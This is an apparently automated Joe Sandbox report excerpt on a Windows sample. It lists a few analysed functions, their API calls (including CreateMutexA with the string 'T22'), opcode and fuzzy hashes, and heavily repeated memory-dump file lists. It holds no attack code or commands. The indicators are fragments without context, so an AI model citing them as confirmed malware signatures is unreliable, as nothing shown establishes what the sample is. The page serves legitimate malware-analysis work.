Associated: 00000000.00000002.2139966218.000000000052A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139983276.0000000000531000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139998696.0000000000532000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140013847.0000000000535000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140030260.000000000053C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140045803.000000000053F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140061366.0000000000540000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140077283.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140094821.0000000000551000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140115008.0000000000553000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140132407.000000000055C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140149504.000000000055F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140170873.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140187386.000000000057D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140187386.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140238218.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140254297.00000000005D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140270654.00000000005D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140286019.00000000005D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140303785.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140319652.00000000005E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2c0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T22
API String ID: 1464230837-2975029903
Opcode ID: fbae96d438d2db2391a3ac6d0be7caed8a1d1a71d19cfd954fe5f069326b2dce
Instruction ID: 078841ca48f28eac21c1cacf25aade7cae06decc40c9f9e9520416e7462cbd0a
Opcode Fuzzy Hash: fbae96d438d2db2391a3ac6d0be7caed8a1d1a71d19cfd954fe5f069326b2dce
Instruction Fuzzy Hash: E6212D3137924997F7286B78D88AF6DB262DF81308F240B1EE109D62D1CB7A49A18953

Function 002CA34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 002CA963
CreateMutexA.KERNEL32(00000000,00000000,00323254), ref: 002CA981

Strings

T22, xrefs: 002CA970

Memory Dump Source

Source File: 00000000.00000002.2139414972.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000000.00000002.2139390215.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139414972.0000000000322000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139478911.0000000000329000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139496959.000000000032B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139517541.0000000000335000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139539950.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139569504.0000000000337000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139682428.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139700806.000000000049A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139722542.00000000004B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139722542.00000000004C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139757016.00000000004C2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139774071.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139791274.00000000004D4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139808297.00000000004DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139829713.00000000004EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139845903.00000000004F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139862874.00000000004F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139880735.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139901234.0000000000519000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139918087.000000000051F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139935126.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139950916.0000000000529000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139966218.000000000052A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139983276.0000000000531000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139998696.0000000000532000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140013847.0000000000535000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140030260.000000000053C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140045803.000000000053F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140061366.0000000000540000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140077283.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140094821.0000000000551000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140115008.0000000000553000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140132407.000000000055C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140149504.000000000055F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140170873.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140187386.000000000057D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140187386.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140238218.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140254297.00000000005D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140270654.00000000005D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140286019.00000000005D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140303785.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140319652.00000000005E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2c0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T22
API String ID: 1464230837-2975029903
Opcode ID: 1a69c164130dad3010e6c0c55527766fc84f0081e2af7b4e95323100257e7e37
Instruction ID: 59daaf789593fe8a5220c00acc02fc1ff8ec2686fbbc7cf1c48116eb142980b9
Opcode Fuzzy Hash: 1a69c164130dad3010e6c0c55527766fc84f0081e2af7b4e95323100257e7e37
Instruction Fuzzy Hash: ED2197323642489BEB18DF28EC8AB6CF766DB91318F20435DE409973D0C7769AA08652

Function 002C7D30 Relevance: 1.9, APIs: 1, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 002C7ED3

Memory Dump Source

Source File: 00000000.00000002.2139414972.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000000.00000002.2139390215.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139414972.0000000000322000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139478911.0000000000329000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139496959.000000000032B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139517541.0000000000335000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139539950.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139569504.0000000000337000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139682428.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139700806.000000000049A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139722542.00000000004B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139722542.00000000004C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139757016.00000000004C2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139774071.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139791274.00000000004D4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139808297.00000000004DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139829713.00000000004EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139845903.00000000004F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139862874.00000000004F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139880735.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139901234.0000000000519000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139918087.000000000051F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139935126.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139950916.0000000000529000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139966218.000000000052A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139983276.0000000000531000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139998696.0000000000532000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140013847.0000000000535000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140030260.000000000053C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140045803.000000000053F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140061366.0000000000540000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140077283.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140094821.0000000000551000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140115008.0000000000553000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140132407.000000000055C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140149504.000000000055F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140170873.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140187386.000000000057D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140187386.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140238218.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140254297.00000000005D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140270654.00000000005D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140286019.00000000005D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140303785.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140319652.00000000005E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2c0000_file.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 5e72fa50664590081fbcd0cac06a2e0114f25f66abc296350f0e6376d2279243
Instruction ID: 2998fef1c64828ce350d4e2ecd34e51aa034dd1fd2235e7d1a10beff1c9384b4
Opcode Fuzzy Hash: 5e72fa50664590081fbcd0cac06a2e0114f25f66abc296350f0e6376d2279243
Instruction Fuzzy Hash: 72E12971E2065497DB25BB28CC0BB9E7A61AB45720F9043CDE415673C2DB359FA18FC2

Function 002FD82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,002FA813,00000001,00000364,00000006,000000FF,?,002FEE3F,?,00000004,00000000,?,?), ref: 002FD870

Memory Dump Source

Source File: 00000000.00000002.2139414972.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000000.00000002.2139390215.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139414972.0000000000322000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139478911.0000000000329000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139496959.000000000032B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139517541.0000000000335000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139539950.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139569504.0000000000337000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139682428.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139700806.000000000049A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139722542.00000000004B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139722542.00000000004C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139757016.00000000004C2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139774071.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139791274.00000000004D4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139808297.00000000004DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139829713.00000000004EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139845903.00000000004F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139862874.00000000004F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139880735.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139901234.0000000000519000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139918087.000000000051F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139935126.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139950916.0000000000529000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139966218.000000000052A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139983276.0000000000531000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139998696.0000000000532000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140013847.0000000000535000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140030260.000000000053C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140045803.000000000053F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140061366.0000000000540000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140077283.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140094821.0000000000551000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140115008.0000000000553000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140132407.000000000055C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140149504.000000000055F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140170873.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140187386.000000000057D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140187386.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140238218.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140254297.00000000005D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140270654.00000000005D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140286019.00000000005D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140303785.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140319652.00000000005E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2c0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a380b3c4aea513365032db4b3070811571a6e4d1657f1be068c3793bf5bbd9a5
Instruction ID: 116bd2954866118c7439c14f00623c9023940b99da8f669b0824a693a5c8a28b
Opcode Fuzzy Hash: a380b3c4aea513365032db4b3070811571a6e4d1657f1be068c3793bf5bbd9a5
Instruction Fuzzy Hash: 1CF0B43257512DA6EB212E629C01B7BF75B9F417F0B258031EF04A7191DA20DC3289E0

Function 002C87B2 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,002CDA1D,?,?,?,?), ref: 002C87B9

Memory Dump Source

Source File: 00000000.00000002.2139414972.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000000.00000002.2139390215.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139414972.0000000000322000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139478911.0000000000329000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139496959.000000000032B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139517541.0000000000335000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139539950.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139569504.0000000000337000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139682428.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139700806.000000000049A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139722542.00000000004B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139722542.00000000004C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139757016.00000000004C2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139774071.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139791274.00000000004D4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139808297.00000000004DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139829713.00000000004EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139845903.00000000004F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139862874.00000000004F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139880735.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139901234.0000000000519000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139918087.000000000051F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139935126.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139950916.0000000000529000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139966218.000000000052A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139983276.0000000000531000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139998696.0000000000532000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140013847.0000000000535000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140030260.000000000053C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140045803.000000000053F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140061366.0000000000540000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140077283.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140094821.0000000000551000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140115008.0000000000553000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140132407.000000000055C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140149504.000000000055F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140170873.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140187386.000000000057D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140187386.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140238218.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140254297.00000000005D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140270654.00000000005D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140286019.00000000005D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140303785.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140319652.00000000005E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2c0000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: a19cf0f5f9b1f6f5ecccc3fae67bc0699d1c0658d449e82385a87c9a074dcdcf
Instruction ID: 52a23a08d27099916bc2378172583a2d496d6e380eedd7b28204064bd5d054b0
Opcode Fuzzy Hash: a19cf0f5f9b1f6f5ecccc3fae67bc0699d1c0658d449e82385a87c9a074dcdcf
Instruction Fuzzy Hash: 2EC08C2C131A0025FD1C8E380184EA8734A8A877A83F45F8CE1724B1E1EA35686FD220

Function 002C87B0 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,002CDA1D,?,?,?,?), ref: 002C87B9

Memory Dump Source

Source File: 00000000.00000002.2139414972.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000000.00000002.2139390215.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139414972.0000000000322000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139478911.0000000000329000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139496959.000000000032B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139517541.0000000000335000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139539950.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139569504.0000000000337000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139682428.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139700806.000000000049A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139722542.00000000004B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139722542.00000000004C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139757016.00000000004C2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139774071.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139791274.00000000004D4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139808297.00000000004DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139829713.00000000004EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139845903.00000000004F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139862874.00000000004F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139880735.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139901234.0000000000519000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139918087.000000000051F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139935126.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139950916.0000000000529000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139966218.000000000052A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139983276.0000000000531000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139998696.0000000000532000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140013847.0000000000535000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140030260.000000000053C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140045803.000000000053F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140061366.0000000000540000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140077283.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140094821.0000000000551000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140115008.0000000000553000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140132407.000000000055C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140149504.000000000055F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140170873.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140187386.000000000057D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140187386.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140238218.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140254297.00000000005D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140270654.00000000005D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140286019.00000000005D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140303785.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140319652.00000000005E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2c0000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 9cc46301d88fc16fb452fcc4e129b6336966fefe56cbd07444f5dc17679f68c0
Instruction ID: ee64557b3d04f352d1811c452c52d62b81a958995f42f85a1fe9680ce10dc2a1
Opcode Fuzzy Hash: 9cc46301d88fc16fb452fcc4e129b6336966fefe56cbd07444f5dc17679f68c0
